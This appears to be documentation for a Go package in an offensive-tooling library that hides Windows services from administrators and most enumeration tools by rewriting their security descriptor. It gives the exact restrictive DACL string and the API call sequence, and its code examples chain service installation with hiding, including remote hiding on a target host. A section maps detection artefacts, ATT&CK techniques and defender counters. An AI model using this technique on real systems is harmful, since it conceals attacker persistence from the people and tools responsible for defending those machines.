Hide Windows services via DACL
TL;DR
Apply a restrictive DACL (Discretionary Access Control List) to a Windows
service so users — even Administrators — can't query its config or status
through the SCM. The service still runs. services.msc, sc.exe query,
Get-Service, and most EDR enumerators come up blank.
Primer
Every Windows service has a security descriptor controlling who can
query, start, stop, change config, or change ACL on it. The default
DACL grants SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS | SERVICE_INTERROGATE | SERVICE_USER_DEFINED_CONTROL to interactive users
and admins. Replacing that DACL with one that denies those rights
makes the service invisible to standard listing tools without affecting
its execution.
The persistence side (creating + starting the service) lives in
persistence/service. This package handles
the hiding side, applied AFTER install.
How it works
sequenceDiagram
participant Caller
participant SCM
participant Service
Caller->>SCM: OpenSCManager(SC_MANAGER_ALL_ACCESS)
Caller->>SCM: OpenService(svcName, WRITE_DAC | READ_CONTROL)
SCM-->>Caller: HANDLE
Caller->>Service: SetNamedSecurityInfo(SE_SERVICE, DACL_SECURITY_INFORMATION, restricted-DACL)
Service-->>Caller: ERROR_SUCCESS
Note over SCM,Service: subsequent EnumServicesStatus calls<br>filter out the service for non-SYSTEM callers
The restricted DACL the package applies:
D:(D;;CCSWLOLCRC;;;IU)
(D;;CCSWLOLCRC;;;SU)
(D;;CCSWLOLCRC;;;BA)
(A;;LCRPRC;;;SY)
- D entries deny
CCSWLOLCRC(query config / status / control / read control) to Interactive Users (IU), Service users (SU), Built-in Admins (BA). - A entry allows
LCRPRC(read DACL + read control + start) to SYSTEM only.
Result: the service runs as SYSTEM, but only SYSTEM can enumerate it.
API Reference
Mode constants
const (
Native Mode = iota // SetNamedSecurityInfo (in-process)
SC_SDSET // sc.exe sdset (works remotely with hostname)
)
HideService(mode Mode, host, name string) (string, error)
Apply the restrictive DACL to name.
Parameters:
mode—Native(preferred for in-process) orSC_SDSET(preferred for remote — accepts a\\hostnameUNC).host— empty for local,\\REMOTEfor cross-machine viaSC_SDSET.name— service short name (the value passed tosc create NAME).
Returns:
string— captured stdout ofsc.exe sdsetwhenSC_SDSET, otherwise empty.error— wraps API failures.
Side effects: rewrites the service security descriptor. Reversible
via UnHideService.
UnHideService(mode Mode, host, name string) (string, error)
Restore the default DACL on name.
Examples
Simple
import "github.com/oioio-space/maldev/cleanup/service"
if _, err := service.HideService(service.Native, "", "MyService"); err != nil {
log.Fatal(err)
}
// MyService runs but does not appear in services.msc / sc query / Get-Service.
// Restore at end of mission:
_, _ = service.UnHideService(service.Native, "", "MyService")
Composed (with persistence/service)
// Install + start
_ = persistenceService.InstallAndStart("MyService", "C:\\Path\\to\\impl.exe")
// Hide
_, _ = service.HideService(service.Native, "", "MyService")
Advanced — remote hide via UNC
out, err := service.HideService(service.SC_SDSET, `\\TARGET-HOST`, "MyService")
if err != nil {
log.Fatalf("hide on TARGET-HOST: %v\noutput: %s", err, out)
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Security event 4670 (DACL change on object) | Audit Object Access policy must be enabled |
| Sysmon Event 4697 (service control change) | Always logged when Sysmon configured |
Service still listed in HKLM\SYSTEM\CurrentControlSet\Services\<name> | Registry-based enumeration sees through DACL |
EnumServicesStatusEx from SYSTEM context returns the service | EDR running as SYSTEM is unaffected |
D3FEND counter: D3-RAPA
(Resource Access Pattern Analysis) — registry-based service enumeration
defeats DACL hiding. Hardening: scan HKLM\SYSTEM\CurrentControlSet\ Services\ directly, not via SCM.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1564 | Hide Artifacts | DACL-based service hiding |
| T1543.003 | Create or Modify System Process: Windows Service | hide-side companion to install/start |
Limitations
- Requires SeTakeOwnership / WRITE_DAC. Standard admin OK; non-admin cannot rewrite the security descriptor.
- Defeated by registry enumeration. Anyone who reads
HKLM\SYSTEM\ CurrentControlSet\Services\directly sees the service regardless. - SYSTEM-context EDR is unaffected. The DACL allows SYSTEM read.
- Audit policy on object access logs Event 4670 for the DACL change itself; not always enabled by default but trivial for blue to enable.
SC_SDSETmode shells out tosc.exe— leaves a child-process artefact thatNativemode avoids.
See also
persistence/service— install/start side.- Microsoft — Service security and access rights.
- Sigma rule: service DACL change (illustrative — exact rule path may vary).